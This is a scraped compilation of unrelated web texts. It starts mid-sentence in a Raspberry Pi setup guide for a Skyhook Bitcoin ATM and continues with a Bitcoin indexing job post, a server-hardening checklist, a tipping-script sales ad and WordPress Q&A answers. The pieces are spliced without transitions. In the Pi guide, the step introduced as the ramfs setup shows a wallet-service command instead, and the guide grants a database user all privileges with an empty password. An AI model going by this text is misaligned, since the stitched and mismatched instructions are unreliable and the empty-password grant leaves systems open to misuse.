/etc/php5/apache2/php.ini across and comment out (with semicolons) the 5 lines related to 'apc' at the bottom. I tried installing the apc.so library and ran into problems and found elsewhere that apc isn't really necessary anymore (?) with more recent php. Configure Apache Copy your /etc/apache2/sites-available/skyhook config file across to the new pi and add a symbolic link from the site-enabled (and remove the link for the default one). Note that you need to name the file with a .conf extension now. So name it "sites-available/skyhook.conf" and symbolically link it with the same name. The mod-rewrite module needs to be enabled. Create the necessary symbolic link in mods-enabled to the mods-available dir. Restart apache2. Setup MySQL Copy across the database dir to new pi: /valib/mysql/skyhook/ You also need to copy across ibdata1, ib_logfile0 and ib_logfile1 from the /valib/mysql directory. Change ownership of all those files to mysql:mysql if they aren't already. Restart mysql. Add the "skyhook" mysql user with skyhook DB permsissions with empty password. Run "mysql" as root. > GRANT ALL PRIVILEGES ON skyhook.* To 'skyhook'@'localhost' IDENTIFIED BY ''; > FLUSH privileges; Bill Scanner The bill-scanner driver gets executed during the purchase stage and is executed as used "www-data". The original setup would modify the ownership of /dev/ttyUSB0 at bootup so that www-data could access it. This doesn't seem to work anymore on Jessie and the device remains with root:dialout ownership. So, instead, I just added www-data to the dialout group.
$ sudo usermod -a -G dialout www-data
The python script also needs the "pycrypto" library.
$ sudo apt-get install python-crypto
Temp ramfs directory When you boot your Skyhook and type your admin password, the decrypted blockchain credentials (etc) are stored in a ramfs mount /tmp_disk Create the directory as root then add the following to /etc/rc.local to properly setup the ramfs at boot (add it just above the exit 0):
cd /tmp # needed so nohup can output its nohup.out logfile /sbin/runuser www-data --shell=/bin/sh -c "/usbin/nohup /usbin/blockchain-wallet-service start &"
I opted to have the service run as "www-data". Networking The Pi will have two network interfaces. The ethernet plug (eth0) and the Nexus wifi (usb0). Jessie does networking slightly differently. See: https://www.raspberrypi.org/forums/viewtopic.php?p=798866#p798866 In /etc/network/interfaces I commented out the wlan0 and wlan1 sections, set the eth0 interface to 'manual' and added a new interface line for the Nexus usb0 interface.
iface usb0 inet manual
With those interfaces set to 'manual' in there, you now need to configure them in /etc/dhcpcd.conf The eth0 will default to dhcp but I added the following lines to the bottom of the file for usb0:
[HIRING] Automated cron job (in PHP) that dumps all Bitcoin addresses ever used into a MySQL table, and keeps itself updated.
SOLUTION HAS BEEN FOUND, thanks! Well, the title explains most of what I need. I want to revive firstbits.net. I am capable of most of the programming, but interfacing with a Bitcoin node isn't my specialty, thus I am turning to outside help. Requirements:
Must use PHP
Must be able to adjust to blockchain forks
MySQL table should track block timestamp, block height, and the full Bitcoin address
Must not rely on any outside website or service
Must be able to easily rewrite data from the beginning again in case of a database failure
If possible, interfaces with a lite client. If not, interfaces with Bitcoin-QT.
Pay: 0.1 - 10 BTC. I am more than willing to pay a fair price, so send me your offer for consideration. I will NOT pay anything until the job is complete - I've had bad experience with prepayment of vendors. We can work out escrow if you want, but I have a decent reputation in the Bitcoin world and would like to keep it that way, so I'm not out to look for some free work.
I'm not amused by the latest Bitcoin hacks, I therefore made a checklist for anybody that hosts a site. PHP
php.ini: expose_php = off
There is absolutely no reason to have your source code on the servers. Encrypt it! Technologies: Zend Guard (Commercial), ionCube Encoder (Commercial), bcompiler (Free). Yes I know, there are technologies like DeZender but this is better than having everything in the open.
Your scripts should have permissions 160. Group being your admin users, not Apache!
Use FastCGI if possible.
Disable server-status for external access.
Disable all modules that you don't need.
Enable access_logging to trace SQLi if necessary, if possible rsyslog it to a remote machine.
Don't use Ubuntu or Debian. I'm serious! Use CentOS.
Don't install/run any deamons that aren't necessary.
Disable remote root login.
Disable IPv6, Zeroconf.
Log all Shell Commands to syslog.
Log syslog to remote system with rsyslog.
Enable Heap randomization.
Update at least once per month.
Don't use website management tools like Confixx, Webmin, Plesk...
Mount your /tmp partition noexec.
Use secure DB account passwords, watch out that you don't write them on the shell.
Root Login only from the DB machine.
Restrict accounts to source IPs.
Don't give GRANT permissions to application users.
Don't use phpMyAdmin!
Don't store plaintext passwords in the DB.
At the moment there have not been seizures of Bitcoin hardware but better be prepared: Encrypt your database on disk.
If you use MySQL then think about using MySQL Proxy to detect SQLi.
Get alarmed if OS binaries or your application code gets changed. Can be done with for example Tripwire Open Source (free).
3 Tier design: Database layer, Application Layer, Web Layer - separated by firewalls, Application and DB layer only accessible on internal IPs. If you can't do it with multiple servers, virtualize with XenServer (Free, requires annual license renewal).
Allow SSH login only from internal networks, connect to your infrastructure using a VPN.
DON'T HOST IN THE CLOUD!!
Have your mailserver on a different system, set this system as relay node on servers that need to send mail.
Deny everything and only allow what is required (this is obvious).
Don't open internet access from your servers, if you have interfaces to other sites then connect to them through a separate proxy machine in a DMZ.
Web Applications Firwalls/DDoS Protection
If you use Cloudflare or Akamai WAF then protect your Origin from being accessed by anything but those entities.
Backup to a remote location.
Backup over internal networks only.
Encrypt your Backups.
Test your backups once per month.
I'm not a programmer but its obvious that you should use prepared SQL statements only.
Have your code in a versioned repository so that you can backtrack changes.
Some info about me: I'm 26 years old, have experience in webhosting for 10 years, also some coding experience. I have a degree in computer science. I work as system engineer doing managed hosting and application management of mostly websites for well known companies. I'm mostly involved in infra architecture, initial setup during service transitions, performance tuning. I'm not a security guy but I work with them every day. I'm available for review/setup of your infrastructure in my spare time, payment in BTC only. Since a lot of trust is required I will provide my full personal details including proof of my work and education. I do NOT use any tools to check your system but rather look at it by hand.
Lost the domain for my tipping site so now I'm selling the script. Will work with any coin that has the same interface as bitcoin (95%+ of coins) The script is for tipping crypto currency. It's meant for tipping in places without a dedicated tipping bot. It's meant to let people tip crypto currency anywhere, online or offline. You can tip with links like this: http://220.127.116.11/ixDnqGIy You can tip with password protected links: http://18.104.22.168/OYYGAQee password: dreamcast cray match Paper tips are tips users can print out and give to people. To claim the receiver just scans the QR code or types in the link on the tip. They currently look like this: http://imgur.com/a/8Nik9 (You can change the look just by editing an image file) Paper faucets are like paper tips except the QR code can be scanned by more than one person. The user who creates the paper faucet sets how many coins are given out per scan. Paper faucets look like this: http://imgur.com/a/lg507 (users are able to upload their own images for the faucets) The script also supports faucet links: http://22.214.171.124/jCofHL8iDTV8P (basically the same thing as the paper faucets but you give out the link instead) People have also used the password protect tip links to do trivia contests. You set the password as the answer to the question. Like: When was etherium launched? M-DD-YY: http://126.96.36.199/PHCYIHLo There are a few other features like tip jar code users can put on their sites. It wouldn't be too hard to ad an escrow function. The site is very secure and uses transactions to make sure there is no double transactions. If you get your password, tip link, tip password, etc wrong 5 times in a row you are locked out of the system for 15 minutes. There is a password recovery function. I made the script very easy to modify. Can change most things just by editing the config file in a text editor. Change the currency name, website name, website address, admin email, etc in seconds. All dialog is in one file for easy translation. The script uses templates so it's easy to change the look and layout of the site to whatever you want. Requirements: A linux VPS server with PHP, MYSQL, and your coins wallet software installed. Comes with 90 days of tech support. $249 - license for use with one domain / currency only.
First and foremost the most important things for a platform are stability, speed, and security. To do those well you need the ability to push updates and fixes as close to real-time as possible. And it needs to work in every language. User authentication, data and caching abstraction.
A lot of what people think of as platform stuff is actually at the CMS layer -- custom post types, taxonomy meta,
If backwards compatibility wasn't a concern I would rename all the inconsistent column names and variables to match our style guide, drop TinyMCE, simplify the user roles and capabilities system, replace widgets with page blocks, redo the admin menu system, denormalize the DB, flatten dependencies and deep hierarchy in function execution, and completely reorganize the code so the bare minimum of files are included with any given request.
They say or imply lots of things about WordPress that aren't true. They've also done things like had a quote from me looking like I was endorsing Ghost on their Kickstarter page even after I asked them to remove it several times. (Lots of people were confused or thought it was a plugin for WP.)
Some cool stuff in there! I also keep an eye on Joomla and Concrete5. I find it really fascinating to watch other open source projects especially because we share much of the same background and philosophy, but make radically different decisions around things like backward compatibility and release schedule.
It's like watching birds that evolved from the same ancestor but on isolated islands and environments. I'm sure we do things that look completely crazy to Drupal folks, and vice versa.
Along those lines I was asked to keynote at the Joomla World Conference in November and it looks like I'm going to be able to make it.
Hello Dolly is actually the 13th most active plugin, with an active userbase of about 16% of Akismet (the most-activated plugin), and about a third as popular as Jetpack. It's ahead of W3 Total Cache! Again this is not just installations, it's currently active.
I'm as involved in WordPress development as I was 10 years ago, it just manifests itself in ways that tend to be a lot more behind the scenes and less visible, which I don't mind as I'm way more interested in things moving forward and the results than credit or recognition for any specific thing. (I get plenty of recognition regardless, don't need more.) The only downside is that folks who I don't work with on a day-to-day basis assume that my role at Automattic or WP is more as a traveling figurehead or "evangelist" which can rub me the wrong way sometimes.
The most important thing I've done since WP started, though, isn't in a line of code or a feature people use, it's getting the right people involved and creating an environment for them to thrive. It's the single most important thing any founder can do, whether of an OS project, a non-profit, or a for-profit company even though there's not a single thing you can point to as the result of it other than the overall success and movement of the project.
Oh by far and away the strangest location was Davao in the Philippines. I can't find any pictures at the moment, but my talk was essentially at a restaurant with a swimming pool courtyard -- the audience was on the other side of the pool from me, and the food buffet was behind me so when the Q&A got slow people would grab food. The PA system had an echo because I think it was normally used for karaoke. And then the bats came out!
Best after-party is hard to pick, but I had a great time after WordCamp Las Vegas which aligned with my 25th birthday a few years ago.
There's always a struggle between doing new things or experiments under a new brand -- like VaultPress -- vs putting it under an existing brand. A lot of the things I've been thinking about we're going to put under the Jetpack brand, for example Jetpack Photon (CDN + dynamic image resizing and filtering) could be a standalone product, but decided to bundle it. So keep an eye on some big things coming to Jetpack, especially for Code Poets, people who use WordPress professionally.
That's a tough one... I'm going to say the volunteers on the support forums. There are 2M+ posts there, and it's easy to forget that a huge number of WP users end up in the forums and get help that allows them to use the software when they wouldn't otherwise be able to.
Those are all good, if I had to pick one it'd be getting the documentation going better on WordPress.org -- handbooks, function reference, training materials / syllabuses, and doing it all in every language and for every plugin/theme.
The hardest thing for me was taking responsibility for the lives and families of others, those first few hires especially. It's why I originally raised funding even though we had revenue already, and why since then we've always focused on making the business sustainable over decades, not just the next tech hype cycle.
By far and away it's the high attrition rate of new users. We look at posting a lot in that context but I think it's far more important to look at customization -- theme discovery and tweaking, widgets, menus.
The first few users were friends of mine who weren't into technology at all, so from the start we needed to make it work for regular people. As we grow it's mostly just a matter of reminding ourselves of that, sitting down with them to see how they use the software, and anticipating their needs.
Some of the largest and most important publishers in the world rely on WordPress. (Show them the showcase.) If WordPress was insecure we'd see it on the front page of nytimes.com, wired.com, and cnn.com. :)
I have. It's also funny because I think Gartner is about to come out with a "magic quadrant" that puts us in the crappy quadrant (low vision and ability to execute). Their leaders? Adobe, Sitecore, SDL, Oracle, HP, Opentext...
I completely agree with Chris on all the ways that enterprise currently works, and their concerns. (People assume because we choose to do things differently that we don't understand the other side.) But I'm not willing to compromise getting better software into the hands of users as quickly as possible, if that means Gartner thinks we're a visionless niche player so be it.
We've done long-term support branches before, it was a big development burden and almost no one used it or cared. There will be businesses that embrace keeping their technology moving at the speed the web does, and there will be those that go out of business and become irrelevant.
Not true, still typing Dvorak, though last year I was beat on speed for the first time by Helen Hou-Sandi, who types QWERTY. She's speedy, and if she switched to Dvorak she could probably win world champs. :)
I'm glad that new ones are being started as fast as old ones are shutting down. There is some really interesting stuff going on in the community and I think there's space for real journalism and strong commentary.
I disagree with the premise -- WordPress does use modern coding practices. People assume that supporting say an older version of PHP or MySQL holds us back far, far more than it actually causes any trouble. Supporting older browsers is a way bigger deal.
Our biggest challenge is figuring out the user side of things, the front-end code. How things should work for a user rather than how they should work for a computer.
I spend more time on Skype (text chat with colleagues) than I would care to admit. Between that and P2s ( Link to p2theme.com ) I can easily fill eight hours in a day. As the company has grown to over 180 people there is a huge amount of content and activity to keep up with.
It's hard to say because I don't really consider what I do work, the hours just melt away.
I find I'm most productive first thing in the morning when I wake up, usually around 7am but a bit later if it's a cloudy morning, and I generally run out of steam around 11:30pm that night.
Some days I'm traveling though I might only have 4-5 hours at a computer and can get a similar amount done.
I find I'm generally more creatively charged the following day if I'm able to unplug at night, which is one reason I like jazz festivals (I try to go to Montreal every year) because I can work during the day and check out shows at night.
But seriously, I think it's all about removing friction (every second loading and extraneous click) and becoming part of people's habits, which is one of the reason I spent a fair amount of time on triggers and habits at the State of the Word this year.
Not on features, we'll make anything new there free to everybody, but might have a paid tier for top 1% of users by bandwidth/usage. But probably a few years from that, plenty of bandwidth and CPU here in the meantime, and it's just getting cheaper and faster.
I think it's a great framework for anything content-driven. For things like messaging that don't map well to WP's data model, you can still do it just make some new tables, don't try to shoehorn it in the standard ones.
I think the things that make open source incredibly collaborative and ultimately eat the world can also make design and big shifts difficult. WordPress has made some major shifts over its decade of life and grew as a result, but those pivots are harder to do the more successful we are because sometimes it means doing the opposite of what we did to become successful in the first place.
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